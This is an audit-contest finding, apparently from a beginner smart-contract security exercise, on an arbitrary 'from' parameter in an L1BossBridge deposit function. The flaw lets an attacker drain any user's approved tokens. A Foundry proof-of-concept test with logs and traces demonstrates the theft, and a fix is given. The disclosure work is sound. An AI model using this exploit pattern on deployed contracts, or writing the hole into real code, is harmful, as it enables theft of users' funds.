Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Steal funds of any token approved to L1BossBridge

Summary

We can steal any token approved by any user to the L1BossBridge contract by transferring it to the bridge and minting it on the L2.

Vulnerability Details

The depositTokensToL2(...) function takes in a from, l2Recipient and amount parameter. In the function body a safeTransferFrom(...) call is made to the token, where amount funds are transferred from the specified from address to the vault. An attacker is able to specify this from address as a function argument. A Deposit event is then emitted by the contract indicating a successful deposit, where the l2Recipient is then permitted to mint the token on the L2. As a result of this an attacker can specify any from address for a user that has previously approved token (and other tokens when they are added) to be spent by the L1BossBridge contract, and set him/herself as the l2Recipient. In doing so stealing funds of the user on the L1 side and minting it to the attacker on the L2 side.

Impact

Loss of funds for any user approving the L1BossBridge to spend funds on the L1.

Test:

function test_TokenApprovalThief() public {
// Create users
address alice = vm.addr(1);
vm.label(alice, "Alice");
address bob = vm.addr(2);
vm.label(bob, "Bob");
// Distribute tokens
deal(address(token), alice, 10e18);
console2.log("Token balance alice (before):", token.balanceOf(alice));
console2.log("Token balance bob (before):", token.balanceOf(bob));
// Alice approves bridge
vm.prank(alice);
token.approve(address(tokenBridge), type(uint256).max);
// Bob calls depositTokensToL2 with alice as from
vm.prank(bob);
tokenBridge.depositTokensToL2(alice, bob, 10e18);
console2.log("Token balance alice (after):", token.balanceOf(alice));
}

Logs:

Token balance alice (before): 10000000000000000000
Token balance bob (before): 0
Token balance alice (after): 0

Significant traces:

[27633] L1BossBridge::depositTokensToL2(Alice: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf], Bob: [0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF], 10000000000000000000 [1e19])
│ ├─ [2562] L1Token::balanceOf(L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7]) [staticcall]
│ │ └─ ← 0
│ ├─ [18899] L1Token::transferFrom(Alice: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf], L1Vault: [0xF0C36E5Bf7a10DeBaE095410c8b1A6E9501DC0f7], 10000000000000000000 [1e19])
│ │ ├─ emit Transfer(from: 10000000000000000000 [1e19])
│ │ └─ ← true
│ ├─ emit Deposit(from: Alice: [0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf], to: Bob: [0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF], amount: 10000000000000000000 [1e19])

Tools Used

Manual review
Foundry

Recommendations

Remove the from parameter and change token.safeTransferFrom(from, address(vault), amount); to token.safeTransferFrom(msg.sender, address(vault), amount);

Updates

Lead Judging Commences

0xnevi Lead Judge
over 1 year ago
Hamiltonite Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.